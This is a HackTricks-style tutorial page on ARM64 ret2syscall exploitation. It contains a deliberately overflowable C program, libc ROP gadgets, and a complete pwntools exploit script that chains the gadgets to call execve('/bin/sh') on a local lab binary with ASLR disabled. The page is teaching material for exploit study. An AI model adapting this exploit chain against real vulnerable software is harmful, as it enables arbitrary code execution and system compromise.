Skip to content

Latest commit

 

History

History
157 lines (113 loc) · 5.38 KB

File metadata and controls

157 lines (113 loc) · 5.38 KB

Ret2syscall - ARM64

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Find an introduction to arm64 in:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

Code

We are going to use the example from the page:

{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

#include <stdio.h>
#include <unistd.h>

void win() {
    printf("Congratulations!\n");
}

void vulnerable_function() {
    char buffer[64];
    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
    vulnerable_function();
    return 0;
}

Compile without pie and canary:

clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

In order to prepare the call for the syscall it's needed the following configuration:

  • x8: 221 Specify sys_execve
  • x0: ptr to "/bin/sh" specify file to execute
  • x1: 0 specify no arguments passed
  • x2: 0 specify no environment variables passed

Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:

{% code overflow="wrap" %}

;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30: 
    ldp x3, x0, [sp, #8] ; 
    ldp x1, x4, [sp, #0x18] ; 
    ldr x5, [sp, #0x58] ; 
    ldr x2, [sp, #0xe0] ; 
    blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c : 
    nop ; 
    nop ; 
    mov x8, #0xdd ; 
    svc #0

{% endcode %}

With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.

{% hint style="success" %} Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. {% endhint %}

Exploit

from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh")) 

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}